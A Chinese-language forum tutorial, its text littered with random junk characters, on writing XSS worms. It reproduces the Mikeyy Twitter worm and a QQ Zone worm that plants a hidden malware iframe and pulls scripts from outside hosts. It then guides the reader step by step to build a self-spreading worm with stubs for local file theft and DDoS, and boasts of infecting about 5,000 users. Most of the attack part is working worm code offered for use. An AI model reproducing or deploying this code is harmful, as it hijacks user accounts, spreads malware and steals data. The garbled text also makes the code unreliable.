$ ~. r7 E' E0 t) W8 I2 Z9 h复制代码第六版: 1. function wait() { 1 P" @ t" m& J* Y5 v
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2. var content = document.documentElement.innerHTML;
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3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/); % `+ ~& g0 H0 E5 ^; ~+ @3 F% G
1 j% Q- p# G4 \' x 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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: e8 O* C% Q; C8 b 6. var authtoken=authreg.exec(content);
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/ `, @1 r r, |* V- ~ 7. var authtoken=authtoken[1]; / `: G$ s* q! ~4 U4 l
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8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";
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/ `3 i& U. z' O+ f 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; N2 `& M {+ t% E" l6 m
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";
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# F* T$ s* A. e; [- \2 b+ { 12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; - d" E2 W- n+ e# t
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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. f4 L, U1 G' o& b8 T! | 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy."; : K- P- w+ t( c" o# D' K) J
5 i! i* z& F& y& _ 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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3 n2 N& t5 ?( d4 Q+ a 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy."; $ H6 t0 W5 b% g/ P& t; i# `9 v
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21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe"; ; z" V$ x/ E9 M% E5 g% r
- J- S; D7 g, C 22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe"; & U* R, ?4 L, W- C
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24. 4 S& l4 R8 @, P4 E) P7 w+ G
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)]; / E# Z6 C! j1 y1 r) @
' Y" y9 n" F) I- @) K 26. var updateEncode=urlencode(randomUpdate[genRand]);
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/ k' Z1 \/ y9 v 27. + }! a$ u6 r) E6 e& V! v
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28. var ajaxConn= new XHConn(); ( W( k8 \# `: ^" V
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29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");
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30. var _0xf81bx1c="Mikeyy"; 0 {, F6 ^( O [6 a
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31. var updateEncode=urlencode(_0xf81bx1c);
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32. var ajaxConn1= new XHConn(); 4 P4 P/ Q. {& l$ a( u9 _+ _
8 y0 K! {% M3 E. s$ `9 w 33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); / E1 t. S1 x" O6 k8 `- S$ D
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34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";
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35. var XSS=urlencode(genXSS);
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6 D3 {/ f! |2 E) o" w `! h 36. var ajaxConn2= new XHConn(); 0 |4 O$ d, z8 y$ a# C
# r x* m2 [* k9 _" z: ?4 L) G 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); # y6 ^% A9 P; `3 A- c" @
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$ Q& r. n+ E4 Y' e 39. } ; 1 t- W. N9 L. c' e' p
' a7 }; I" g% e; B) e% g4 H 40. setTimeout(wait(),5250); - z% x( @* K# J8 l! K9 _
复制代码QQ空间XSSfunction killErrors() {return true;}; w Z( j c5 p' q$ s4 ]+ ?* w, U
* Y' m1 G- A8 _4 K8 ]" {0 [2 c Nwindow.onerror=killErrors;
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var shendu;shendu=4;
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1 M5 Z/ J0 R- C, b4 A! _0 X% Z//---------------global---v------------------------------------------
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$ s* Q0 X/ x* F7 h3 F% u8 `//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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/ q& y/ l; h# c3 Pvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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( ~5 [+ m4 K, q6 J( bvar myblogurl=new Array();var myblogid=new Array();
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1 A; R( A9 _2 [2 k9 e% m5 q var gurl=document.location.href;+ o; |- r1 _+ s+ N9 y7 P; m
/ U, E: V( j7 H) G% l) j" t; U/ c var gurle=gurl.indexOf("com/");
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E% R& L' P( s1 x) V1 O gurl=gurl.substring(0,gurle+3);
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2 v6 y& h$ G( S% S var visitorID=top.document.documentElement.outerHTML;% |& Y! b+ z$ | O. K
. e3 w# _2 K$ K7 J7 t, x9 x7 A var cookieS=visitorID.indexOf("g_iLoginUin = ");
% {2 B" c, I" f6 q4 J- \: @8 S
, B- T! Z. N( ]" m visitorID=visitorID.substring(cookieS+14);
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# w8 H. y5 s; J7 U+ B cookieS=visitorID.indexOf(",");* w$ l# J$ R4 M+ M8 I( I
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visitorID=visitorID.substring(0,cookieS);) r2 b& O$ v, B9 ]6 h7 J
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get_my_blog(visitorID);8 W0 n3 T- v5 v0 T w% O) \
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DOshuamy();: b; U& r3 c' m2 y. u
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//挂马* ]2 r, F/ k$ U7 x1 q4 i
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function DOshuamy(){' _& {* g; y6 J Y8 E( a
9 y( m W- g% d6 ~var ssr=document.getElementById("veryTitle");
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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1 ^: E6 q: Z) G! a* e2 }# H$ ~0 P& f# N$ i
; n4 U1 A R/ h6 ^1 e8 ~ l# B//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?+ S9 l6 n$ G# }& g1 x- y" X. }
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function get_my_blog(visitorID){
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) V# z3 z* L+ B1 |* u0 H1 Y userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象
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$ ]/ ~' y0 V# q" j$ H) w* Z: a if(xhr){ //成功就执行下面的
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' h) a* L, N8 w( n$ l5 g xhr.open("GET",userurl,false); //以GET方式打开定义的URL, ?9 b" V9 Q9 s' ^: v& J
3 |1 m9 F! |2 N" u" l( T/ I i! p xhr.send();guest=xhr.responseText;: X0 l9 L, o! U
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get_my_blogurl(guest); //执行这个函数
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s+ D! V; n- ]% Y }
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//这里似乎是判断没有登录的- C0 f" q" [( |% E6 X
9 f7 d% b6 a& Ifunction get_my_blogurl(guest){
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$ r! S, t3 M: }6 T var mybloglist=guest;$ z& U9 {' `8 |8 E
" v5 H2 {6 ^' n8 Z3 t; D2 ^. \. C! I var myurls;var blogids;var blogide;
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* v4 P5 ?" Z; b/ n1 ? for(i=0;i<shendu;i++){* g( Q% B" q% l* P" v/ `
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myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了
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if(myurls!=-1){ //找到了就执行下面的
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mybloglist=mybloglist.substring(myurls+11);
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) F/ I, `$ r# `8 ]( u myurls=mybloglist.indexOf(')');
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" U9 t& ` K( q( s! W+ |- _ myblogid=mybloglist.substring(0,myurls);
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' U r5 q3 L( ?" { }else{break;}
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% {, h u# K- [( R. ` c' D}3 s9 E( L3 V$ E3 x- B7 X( e
5 D% \0 z. }4 G3 Y! Gget_my_testself(); //执行这个函数
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//这里往哪跳就不知道了8 P9 [8 E' D/ c! V h% k8 @+ j
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function get_my_testself(){* f' R6 k7 y- X- h, o# X4 x9 @$ E
- b% B& A5 w' {
for(i=0;i<myblogid.length;i++){ //获得blogid的值
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5 J2 c$ [+ O* i9 w var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
8 i, |4 ^1 b5 A! ^2 a: \% w) [# }
3 l8 ?/ H) n7 \! y- s& G var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象8 Q6 d5 |/ N* Z# Y. u6 G
) s& T F5 ~* }, U if(xhr2){ //如果成功
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xhr2.open("GET",url,false); //打开上面的那个url
Q; b5 A1 @0 O
& h( k9 Y8 @& g& d$ ]) e xhr2.send();
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guest2=xhr2.responseText;" B) ]( [# y' Y1 V5 a$ f
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var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
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var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串1 t. Z( C2 v* D/ ?
. `2 H9 Y7 o8 Q' D% O$ b+ o/ g if(mycheckmydoit!="-1"){ //返回-1则代表没找到
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4 M0 C. W0 k. F, t targetblogurlid=myblogid; 9 f5 T F. [: I- r
S& T# B9 L5 m$ l2 C% d add_jsdel(visitorID,targetblogurlid,gurl); //执行它$ L, Q8 W) h4 X" ^; ]
0 {9 b! h. r3 f/ a4 [5 K2 O$ o5 ^" m break;, m4 Z! y7 w. Y9 n4 _3 O
! q! ~& {8 W8 }5 H, V5 ] }
. |% C# r* x; z- `$ t5 j! J9 Q# Y/ f& g/ ^& R& }
if(mycheckit=="-1"){
; I& i1 |9 s' m; t: `( z# X% y Y# \. f, o) m1 y. r% {5 G: E
targetblogurlid=myblogid;" V8 y6 \6 I% P C" P" ^
# p) [% @( I+ Z2 L0 [0 t6 { add_js(visitorID,targetblogurlid,gurl); //执行它4 X, l' R3 h$ q+ m4 L# W) i
1 `' V# n) c9 y! K& u break;" l7 k7 ^8 G) R" W3 c- j& a
) a! U9 R" O+ _8 l& A1 H
}
+ \8 v! i, y% d9 l1 h* n" s- V) E! v) J
}
1 q, J( ^: f( [+ x- Q+ G$ D Y3 y! V3 s+ |4 m# H
}
1 C: h# V& d8 u% S
1 M: d3 {* d0 A1 X' a q7 J}2 K& r0 [" v4 ^; m2 C+ g- E0 n
* e( p: \5 M" w& T# |- _- ]! J# X& l2 J1 j3 X/ s) P$ t
/ F0 n5 n+ h& g! p9 k//-------------------------------------- + G4 J* o0 C7 u9 X4 _9 C- J
3 P: V; w9 Y* D//根据浏览器创建一个XMLHttpRequest对象; `5 k; A1 \2 h1 a/ Q8 ]: g& Q
% f! d4 Q5 l* x( {# ^function createXMLHttpRequest(){( X6 V# @+ ?( j2 L3 D0 L7 X P7 d7 F
1 v: F# A8 {; ?- V m
var XMLhttpObject=null; % b n% }) F4 } y. |
4 F" ~+ ?3 K& E3 A8 e" f2 B6 l if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}
+ i; y% l, b( T( v J- X% A4 W8 ], R4 `. y, f3 F1 I; D
else
: m9 l, m, U3 h" J: ]8 S
* W6 d) U) A6 @. ~ { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; " X$ @) F T; {
+ M' r, Q( q1 Q( ^* ? for(var i=0;i<MSXML.length;i++)
; [, o' X d. k2 L- e
5 P% K4 j- p9 I/ j; P1 e {
( t+ x$ Q# v3 Q4 C. k( O
2 l+ @ k; E! J try 2 l$ I( I: \0 h2 P- n$ x6 L. T
6 ~4 w" X! z) [1 n, t% s( ?0 n
{
) y/ U% r) \) b
* i3 \$ t' c$ s' d/ y2 [ XMLhttpObject=new ActiveXObject(MSXML); ! @% m" X! d" l& ~8 q5 g
' h9 W) ? p4 g4 D. E break;
N4 T' b @1 d9 e6 s( M) }! T
3 r3 S7 h9 K, k, T3 H5 K/ d } 9 M. t- n% f. v: w. C6 L @+ N2 [1 ~
5 d' G) \- a/ |; N5 R4 K1 h
catch (ex) {
( {/ d# B3 h# s& O/ d/ M# L( P) e
& K! A& B' u1 i' U2 D3 ^& ~) f5 x } 5 V( N7 X# E( ]# {
7 `5 t4 @; H7 ? } 0 i, O4 }5 \4 d) L
; x/ g( i+ n! ]! u
}" R4 \% C$ A* P# n8 j* H
5 P+ ?9 Z/ X: J' y- |6 y4 ^4 n
return XMLhttpObject;
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}
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& f1 Z2 m+ L8 L5 T: s
( J6 q" m: U# q' ], I' \% Y$ n( R
' m+ _8 d: n( z: `6 t- @//这里就是感染部分了/ |, ]- s9 P0 K. y1 S9 O6 y
* m N- N/ R: ^7 |) m9 c1 a1 h( tfunction add_js(visitorID,targetblogurlid,gurl){1 c7 |* j$ |' w0 H3 l; P* R
; _) U+ C' ]3 k6 W! _' ?
var s2=document.createElement('script');
9 J% Z( h2 L- {& Z* j7 N, w
6 G% W1 g3 }" ~+ q: e2 U' ]; b5 ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- C/ y) [& g& Q0 F9 Y/ ~6 d
; D* b4 m+ \5 Y, c p2 zs2.type='text/javascript';
% p- S' U2 w- O1 ]9 R4 e3 g3 D
2 B; v, |4 A" P$ p$ s/ J+ R' Cdocument.getElementsByTagName('head').item(0).appendChild(s2);
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) x8 @5 W* `9 a: c}' Q3 J" Y9 @, D0 c7 K4 h- {. k! k
8 f8 a( I2 p1 [ e j
" ~6 n/ R3 t! s6 X; x6 Y0 B/ g1 Z, }: j- s5 o5 {
function add_jsdel(visitorID,targetblogurlid,gurl){
4 D8 Q$ R9 j' y4 z$ T
! C3 _9 E2 f# @, |0 i& a4 n v$ Evar s2=document.createElement('script');
, `0 A# W9 D( T" y, Y
5 C8 u ^1 w; ]7 Js2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();7 o$ H: a; G9 A, L: B
6 p: z0 O6 w4 d2 U1 m4 v) Gs2.type='text/javascript';' u) o+ R! D* J' Q2 n& a+ O, X& l
0 p) r* _: y: gdocument.getElementsByTagName('head').item(0).appendChild(s2);
! [4 H/ N$ I5 G) J$ O3 b- u1 |% S+ _5 {& M1 R' p0 ^
}4 w: Q7 f. ~9 U3 M
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:! I& s' j1 Q4 Q/ R4 p, i. n
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)9 a* A7 Y2 F0 Y/ X+ N1 A$ p7 Z
7 Q% {6 l% T3 n% I2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
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- i! l( `1 ?9 S% N* m8 |综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
0 ^/ ]2 n# f3 h
! y/ @$ n* u4 l8 U4 m8 V5 J
' [+ W5 ^3 O; w6 |7 Z下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.+ c% E) ^' [8 W2 _& U
) H2 r; K* F# X4 `* X
首先,自然是判断不同浏览器,创建不同的对象var request = false;
7 ]0 |3 R% N; w+ G g* b* W' X" C/ [1 x4 T1 C
if(window.XMLHttpRequest) {: `" _! Y6 e3 z/ W/ i3 ^3 Q) Z
! F; g+ q& G- F3 s! _) F- J* ?request = new XMLHttpRequest();
) D9 U/ B! R7 Z3 d0 R5 z. z* @: n3 g* x6 P- o M. }9 {2 M& |
if(request.overrideMimeType) {/ ~. u% r( `( ^, r7 a
7 J( B l+ \) ~* @
request.overrideMimeType('text/xml');
1 U5 h$ G' \6 z: U9 J- I% B, B+ I0 G6 E2 b5 K4 o
}3 B5 @1 H- _: o! h- g' e( C
- D% g' Q; J. u- B- K3 u
} else if(window.ActiveXObject) {
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
( \' Y2 r3 [" O2 I2 i
/ M$ O/ e1 ?. ^3 q4 xfor(var i=0; i<versions.length; i++) {
2 D9 `- _' R3 {( H& |1 q1 S# [, k# ?1 D; N% d- M* d, P( k/ o) z
try {
( w5 j$ _+ `; b- w5 f) G: \, ?" o
request = new ActiveXObject(versions);' y- ]1 `( U' N3 G2 @6 U9 I
9 L! O ]7 k5 G$ U* I! h6 V. R
} catch(e) {}$ `0 N. b- u8 q5 a3 M2 n& d
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! t4 s7 g" a# z8 u3 z2 _}' k/ K. W% U- y, g4 B2 ]) c
; z9 {! e2 A! p' o' ?" x9 G7 H6 u6 BxmlHttpReq=request;! C) ^0 p# c: N5 B9 l
复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){# ` e3 p- \- ^% q5 h5 f
3 `# U+ ^& }2 R, \6 J# V var Browser_Name=navigator.appName;$ B/ L+ `* P! d6 Q4 p6 T
/ H! E E' T# z6 Z, b- D2 o( ^: M. \ var Browser_Version=parseFloat(navigator.appVersion);
- j2 ?5 `( k) O& c* l6 }& L' j j }$ l0 ]2 {# \! d
var Browser_Agent=navigator.userAgent;
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0 _3 I5 K! |/ Z7 {' b2 Q5 G/ Z# \. p; d' D& M+ ~" W; U
var Actual_Version,Actual_Name;' x1 @3 ]* k" \
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var is_IE=(Browser_Name=="Microsoft Internet Explorer");7 V! Y" g8 k% n1 q+ n& I
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var is_NN=(Browser_Name=="Netscape");
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var is_Ch=(Browser_Name=="Chrome");
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1 q- P, n7 X1 ]) E2 p7 e* k# H: ]
0 T2 o- t* J( F; [. m- ` if(is_NN){
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if(Browser_Version>=5.0){0 I) `* n3 R3 g# ]: e" |, _
: P H7 I9 G! Q; _1 J+ g var Split_Sign=Browser_Agent.lastIndexOf("/");
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var Version=Browser_Agent.indexOf(" ",Split_Sign);
. {. s: m+ l' Y& D# f* y- a5 k. m% ^( S0 \8 ~
var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);9 u4 T, \- Y3 O* M' B- Y% n
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, w4 M1 E" Q! t/ @& s; w0 I
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);2 I# A" g. j# i9 W
# a @# l3 r/ f Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);: W0 U* T; ]9 O: w' s! K# V b
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}
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* \# y5 G9 ^" ~ B else{2 u8 x0 c! U$ d8 b
7 Y0 M9 I$ P9 e: o2 g0 K- _- o Actual_Version=Browser_Version;/ d0 {' D3 t: H" Q& j
9 E! [3 J& n# D Actual_Name=Browser_Name;$ c! ]1 _- q8 `9 T3 G8 F
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else if(is_IE){
+ y8 e" f; b/ d
2 s2 W* j* G& D var Version_Start=Browser_Agent.indexOf("MSIE");
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var Version_End=Browser_Agent.indexOf(";",Version_Start);( ? H) p5 N' |# }
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Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End): |2 e- Y& E' _( ~3 _6 q9 Z, B
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Actual_Name=Browser_Name;
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7 F2 a- i1 A1 h' X- T5 `7 n
8 ~' a/ [ M z b if(Browser_Agent.indexOf("Maxthon")!=-1){
: ]/ a4 Y1 @0 R2 ?
9 O) N: i! K* ~ Actual_Name+="(Maxthon)";( k- `; [2 V( d9 C7 a8 M
% q/ h! M- l7 Q5 A7 p1 V
}
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else if(Browser_Agent.indexOf("Opera")!=-1){
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Actual_Name="Opera";0 q: a- M' }) h% ^7 p9 n' G% v) p: I
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var tempstart=Browser_Agent.indexOf("Opera");2 J0 _5 T& Q8 R5 i, I, `
2 j+ G9 f9 f2 h& H! Q3 Y# {: l* b1 X var tempend=Browser_Agent.length;# E, `9 T+ l. {, H& ^/ i
+ L6 m0 c( R5 |5 j Actual_Version=Browser_Agent.substring(tempstart+6,tempend). I. E1 ?) l% t3 ^! K
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}
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else if(is_Ch){, j3 n/ I" |; }% D0 q5 D
( t: V1 f8 w2 O0 { var Version_Start=Browser_Agent.indexOf("Chrome");
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var Version_End=Browser_Agent.indexOf(";",Version_Start);
% ^1 i- f# Y4 m8 E+ P+ K
# T! I' Y* z$ C Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
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. u: y# X3 ^+ _6 r4 n6 ~( e Actual_Name=Browser_Name;
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! [: S* M) E0 {1 x if(Browser_Agent.indexOf("Maxthon")!=-1){
; t/ q/ Q# P# \
, S& w& L& ]/ H, R; }# n. y Actual_Name+="(Maxthon)";
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}
# m" m) k$ }/ }* N7 C0 f% L; }. H9 m# z$ T2 K9 L
else if(Browser_Agent.indexOf("Opera")!=-1){
& {4 m. _( U4 _: h# Z# _, c" m% M( C5 \
Actual_Name="Opera";
& y* V- t; z$ A$ I! F9 Z$ \8 L6 p. i7 n* H ]( ]
var tempstart=Browser_Agent.indexOf("Opera");) T& ~* U i: }: o- S4 J! O6 G
! w* @1 ]% Q. c var tempend=Browser_Agent.length;
' m4 _5 q- ^# D
o+ s2 c9 F) { Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
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}- m( p, W" ~3 J, I
" Y* W9 x7 C2 G& Q, s/ M }& y6 R' B+ J8 O. y/ x M+ j
) c+ ]/ \- H, `6 { else{
+ z; S) P- m# D0 U) H9 ^
8 L# k4 N @9 C Actual_Name="Unknown Navigator"
( k7 a% m) Q1 E
( n5 E8 A; F" a& ?+ e Actual_Version="Unknown Version"
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} w# Y6 U0 R W
% i: ]% ] I2 i# b e5 F% O, X6 Z% M Y6 q
& \* t. h1 i/ p, A5 l
navigator.Actual_Name=Actual_Name;/ E1 O6 B; ]- E+ L; X* z' x
9 }$ f8 b! d" s: E# S navigator.Actual_Version=Actual_Version;
# d+ @( o8 \1 F4 m# U3 L
7 a. K+ ?) O+ i$ T" Z, C & ]2 g5 x9 d0 e" i8 F! q* \! b8 U
4 g0 h, L3 j$ S, I" Q/ |: ` C this.Name=Actual_Name;+ p, A7 G* g; E4 r
, Q5 ^2 r. l1 y, n! }& r
this.Version=Actual_Version;
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browserinfo();) l: D; q4 j% o( z O
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if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}
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if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}: ?- T/ P/ ]9 v& ~+ o2 K# b% F
! u% e# t- N2 S4 I% o& w+ s1 ?0 j if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
3 {* N. \; j M$ L1 u# y2 c; C* V J3 A7 W$ f2 i; N- d9 G
if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}# k% f$ ]& V% ~9 B' @. |# Q h, R: m+ F
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码 q6 Y2 s9 k }. k
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码& K6 X1 f$ e- z- k7 |! [. b
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
$ J% X1 o) D: Q4 L6 B" u- g4 P9 r, }$ f! q
xmlHttpReq.send(null);
$ D; W5 S( P, {2 y* E5 P7 ], t6 @0 Q
var resource = xmlHttpReq.responseText;8 ?; {( ]4 x1 Y% b& J3 G( Y3 D
2 s) f/ A) H! L) A: Uvar id=0;var result;% d' X- a3 v9 R# b" Y; V9 [
) B0 \. W# z; |! Avar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
) A6 d9 p8 n" b& z& ]% {( B/ a" E- S( Y& y; Y R/ E$ {
while ((result = patt.exec(resource)) != null) {
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. C- `5 A/ O$ B( L% h$ B4 Qid++;0 l2 n% x. h1 ?& J- ~
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}
; i/ h0 ~6 D7 c1 V9 o' L3 y3 w复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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no=resource.search(/my name is/);3 z3 a! W1 h$ P6 c
- F4 X$ @% O) fvar wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.& l8 A, ]5 W2 m% ]+ U
# m5 V, u% }* j, E/ C& Z8 K- xvar post="wd="+wd;! i1 F# \' Q" a
2 a) ?% c) `- n0 E. v! r h% Y1 [xmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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' Q. n) ~, p4 T: C" LxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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7 f# U B* d: G! |& x. DxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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xmlHttpReq.send(post);
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}
+ j w0 d2 {0 j3 T! X复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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3 L! c5 P( }9 y; ~var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方; n, z& r0 g6 l4 o
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.$ H6 W; V7 W9 X+ L' A! U6 m
3 I2 j+ Y' [. \% I; P0 _6 Vvar post="wd="+wd;3 a, F% j' @+ C% U& t1 X5 f9 `) }
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xmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);, Y( q- P2 d+ j( [2 Z+ K
3 m: S( n8 d5 A- i8 X/ nxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");' H- o/ C2 P. j3 \
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xmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");$ |( [9 O7 S4 W/ ~% i5 ^" X
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xmlHttpReq.send(post); //把传播的信息 POST出去.8 s' B0 [, ~* p
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复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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+ h; w* }6 l/ E- O8 O本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
4 [3 Y+ x4 M. Z蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.9 V4 K# ~# B- D% y& s4 B! W
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:: n3 d4 c- r4 T9 Y+ c: U6 z
. |: k ^0 |8 M6 u5 @"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)8 Y# @+ \2 D: x
Other XmlHttpRequest tricks (Amit Klein, January 2003)
2 z7 c, K- E, {& d! p9 a1 y"Cross Site Tracing" (Jeremiah Grossman, January 2003)/ L. _3 f3 r& p$ A1 J9 {, B& p7 F& a
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
3 H$ h$ b; P) s0 m' o空虚浪子心BLOG http://www.inbreak.net6 z. u. |+ h; P/ h2 D/ p
Xeye Team http://xeye.us/+ I' U% i( B) M8 z$ {% N+ h! s+ x
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